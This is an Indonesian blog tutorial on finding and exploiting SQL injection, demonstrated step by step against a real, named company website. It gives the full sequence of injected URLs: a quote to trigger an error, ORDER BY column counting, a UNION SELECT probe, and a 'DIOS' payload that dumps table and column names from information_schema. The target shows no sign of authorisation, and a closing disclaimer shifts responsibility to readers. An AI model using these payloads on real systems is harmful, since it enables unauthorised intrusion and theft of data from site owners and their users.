Jika kamu memiliki kritik dan saran, hubungi kami melalui Kontak Kami

Tutorial Mencari Celah SQL Injection

Hai semuanya, pada kali ini saya akan memberikan tutorial Cara Mencari Celah SQL Injection pada sebuah website. SQL Injection merupakan salah satu teknik serangan yang banyak digunakan oleh para peretas untuk melakukan tindak kejahatan siber. Pada artikel sebelumnya, kita sudah membahas pengertian SQL Injection dan cara mencegah nya. Sekarang kita akan membahas bagaimana caranya mencari celah SQL Injection pada sebuah website. Bagaimana caranya ? Berikut ini adalah tutorial nya.

1. Pilih website yang menurut mu vuln (memiliki celah) keamanan. Contoh target saya adalah https://www.granesia.co.id/index.php?t=kalkulasi&fol=kalkulasi&f=kalkulasi_form&id=1.

2. Kemudian berikan tanda ' diakhir url. Contohnya https://www.granesia.co.id/index.php?t=kalkulasi&fol=kalkulasi&f=kalkulasi_form&id=1'.

3. Kemudian nanti tanda ' akan berubah menjadi %27. Jika website nya memiliki celah keamanan, maka setelah diberikan tanda petik akan ada tulisan "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1".

4. Kemudian tambahkan "+order+by+1--+" di belakang url %27. Contohnya seperti ini : "https://www.granesia.co.id/index.php?t=kalkulasi&fol=kalkulasi&f=kalkulasi_form&id=1%27+order+by+1--+".

5. Tinggal kita cari jumlah tabel nya, kita cari sampai error. Cara mencari nya cukup ubah angka 1.

6. Contoh saya mengubahnya menjadi https://www.granesia.co.id/index.php?t=kalkulasi&fol=kalkulasi&f=kalkulasi_form&id=1%27+order+by+6--+. Jika hasilnya error seperti dibawah ini, berarti jumlah tabel nya hanya 5

7. Jika kita sudah mengetahui jumlah tabel nya, maka kita tinggal mencari sebuah angka lagi. Biasanya banyak yang menyebut nya angka ajaib. Cara mencari nya cukup ubah +order+by+6--+ menjadi +union+select+1,2,3,4,5--+. Mengapa kita menginputkan nya hanya sampai 5 ? Karena jumlah tabelnya adalah 5.

8. Jika sudah, maka tinggal kita cari sebuah angka yang terdapat dalam situs tersebut. Disini saya sudah menemukan angka ajaibnya adalah angka 5. Contohnya seperti dibawah ini 


9. Jika sudah menemukan angka ajaibnya, tinggal kita dump database nya. Cara dump nya adalah dengan cara mengganti angka ajaibnya dengan dios. Diatas kita sudah mengetahui kalau angka ajaibnya adalah 5. Jadi kita ganti angka 5 pada https://www.granesia.co.id/index.php?t=kalkulasi&fol=kalkulasi&f=kalkulasi_form&id=1%27+union+select+1,2,3,4,5-+ dengan sebuah Dios. Dios nya adalah seperti ini (Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)). Jika sudah kita ubah, maka hasilnya seperti ini https://www.granesia.co.id/index.php?t=kalkulasi&fol=kalkulasi&f=kalkulasi_form&id=1%27+union+select+1,2,3,4,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))--+

10. Sudah selesai dan sekarang kita sudah bisa melihat database website nya. Contohnya seperti dibawah ini 

Bagaimana ? Sulit atau mudahnya tergantung niat dari diri sendiri. Segala tindakan kejahatan dalam dunia maya bukan tanggung jawab saya. Jadi gunakanlah dengan sebijak bijaknya dan gunakan dalam hal kebaikan bukan kejahatan. Sekian dari saya, kurang lebihnya mohon maaf. Terimakasih.

Posting Komentar

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.